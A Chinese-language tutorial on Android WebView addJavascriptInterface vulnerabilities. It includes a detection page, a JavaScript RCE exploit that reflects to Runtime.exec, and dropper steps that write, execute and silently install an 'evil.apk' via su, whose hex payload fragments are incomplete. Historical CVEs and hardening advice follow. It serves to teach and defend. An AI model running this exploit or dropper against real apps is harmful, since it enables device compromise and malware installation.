Android Webview漏洞初探
字数 1096 2025-08-27 12:33:48
Android WebView漏洞分析与防护指南
一、WebView组件概述
WebView是Android系统中用于在应用内部展示网页内容的核心组件,相当于一个内置浏览器。它允许应用与Web页面进行交互,支持URL请求、页面加载、渲染等功能。由于使用场景复杂多样,WebView组件自出现以来已被发现多个重大安全漏洞。
二、Java与JavaScript交互机制
1. WebView基本配置
public class MainActivity extends AppCompatActivity {
WebView webView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true); // 启用JavaScript
webView.loadUrl("https://www.baidu.com"); // 加载URL
}
}
2. 本地加载JS并实现交互
public class MainActivity extends AppCompatActivity {
WebView webView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
// 将Java对象映射到JS对象
webView.addJavascriptInterface(MainActivity.this, "main");
webView.loadUrl("file:///android_asset/js.html");
}
// 定义JS需要调用的方法
@JavascriptInterface
public void jsCallJava(String message) {
Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
}
}
对应的HTML文件(assets/js.html):
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>testjs</title>
<script></script>
</head>
<body>
<button type="button" onClick="window.main.jsCallJava('Message From Js')">
Js Call Java
</button>
</body>
</html>
3. 远程加载JS
webView.loadUrl("http://192.168.50.177:8080/js.html");
三、WebView漏洞探测与利用
1. 漏洞检测方法
检测页面代码(检测存在漏洞的接口):
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
</head>
<body>
<p>提示:如何检测出"accessibility"和"accessibilityTraversal"接口----设置-辅助功能-开启系统或第三方辅助服务<br><br>
<b><font color=red>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口:</font></b></p>
<script type="text/javascript">
function check() {
for (var obj in window) {
try {
if ("getClass" in window[obj]) {
try {
window[obj].getClass();
document.write('<span style="color:red">' + obj + '</span>');
document.write('<br />');
} catch(e){}
}
} catch(e) {}
}
}
check();
</script>
</body>
</html>
2. 远程代码执行漏洞利用
EXP代码:
var i = 0;
function getContents(inputStream) {
var contents = "" + i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i = i + 1;
return contents;
}
function execute(cmdArgs) {
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
3. 恶意代码注入方法
方法一:直接注入二进制文件
var bin = "\\x50\\x4b\\x03\\x04\\x14\\x85\\xbe\\x86\\xbe\\x83\\x5e\\x40\\x3f\\x42\\xbf-x40\\x7f"
execute(["/system/bin/sh", "-c", "echo '" + bin + "' > /data/data/com.example.webviewtest/testBin"]);
execute(["chmod", "755", "/data/data/com.example.webviewtest/testBin"]);
execute(["/data/data/com.example.webviewtest/testBin"]);
方法二:分步注入APK文件
var armBinary1 = "\\x50\\x4b\\x03\\x04\\x14\\x42\\xbf-x40\\x7f";
var armBinary2 = "\\x93\\x9a\\xff\\xa2\\x56-x5f\\x0a\\x3d\\";
var armBinary3 = "\\xdb\\x06\\x00\\x00\\x0c\\x1c-x00\\x00\\x13";
var armBinary4 = "\\x2e\\x78\\x6d\\x6c\\xad\\x97-xcb\\x00\\x00\\x00";
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary1 + "' > /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary2 + "' >> /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary3 + "' >> /mnt/sdcard/evil.apk"]);
execute(["/system/bin/sh", "-c", "echo -n '" + armBinary4 + "' >> /mnt/sdcard/evil.apk"]);
execute(["su", "-c", "pm install -r /mnt/sdcard/evil.apk"]);
四、WebView历史漏洞与防护
1. 主要历史漏洞
-
CVE-2012-6336 (Android ≤ 4.1.2)
- 问题:
addJavascriptInterface无任何校验 - 修复:被调用的函数必须添加
@JavascriptInterface注解
- 问题:
-
CVE-2014-1939 (Android ≤ 4.3.1)
- 问题:
searchBoxJavaBridge_接口存在RCE漏洞 - 修复:移除漏洞接口
- 问题:
-
CVE-2014-7224 (Android ≤ 4.4)
- 问题:
accessibility和accessibilityTraversal接口存在RCE漏洞 - 修复:移除漏洞接口
- 问题:
2. 防护建议
-
通用防护措施:
- 尽量不使用
addJavascriptInterface接口 - 对Android 4.2以下版本,应移除所有不必要的JS接口
- 尽量不使用
-
HTTPS协议加载URL:
- 进行证书校验,防止中间人攻击
- 验证证书合法性,防止页面被篡改
-
HTTP协议加载URL:
- 实施白名单过滤
- 进行完整性校验
- 考虑使用HTTPS替代HTTP
-
本地HTML加载:
- 将HTML文件内置在APK中
- 对HTML页面进行完整性校验
-
移除危险接口:
// 移除searchBoxJavaBridge_接口
removeJavascriptInterface("searchBoxJavaBridge_");
// 移除accessibility相关接口
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
五、总结
- WebView漏洞主要源于Java反射机制被滥用,导致未受保护的接口可被调用执行任意代码
- 主要影响Android 4.4及以下版本的系统
- 防护核心在于限制JS接口的暴露和调用权限
- 开发者应遵循最小权限原则,仅开放必要的JS接口
- 对于老旧系统,必须移除已知的危险接口
六、参考资源
- Android官方WebView文档
- CVE漏洞数据库
- Android安全公告
- Android-webview-inject-shell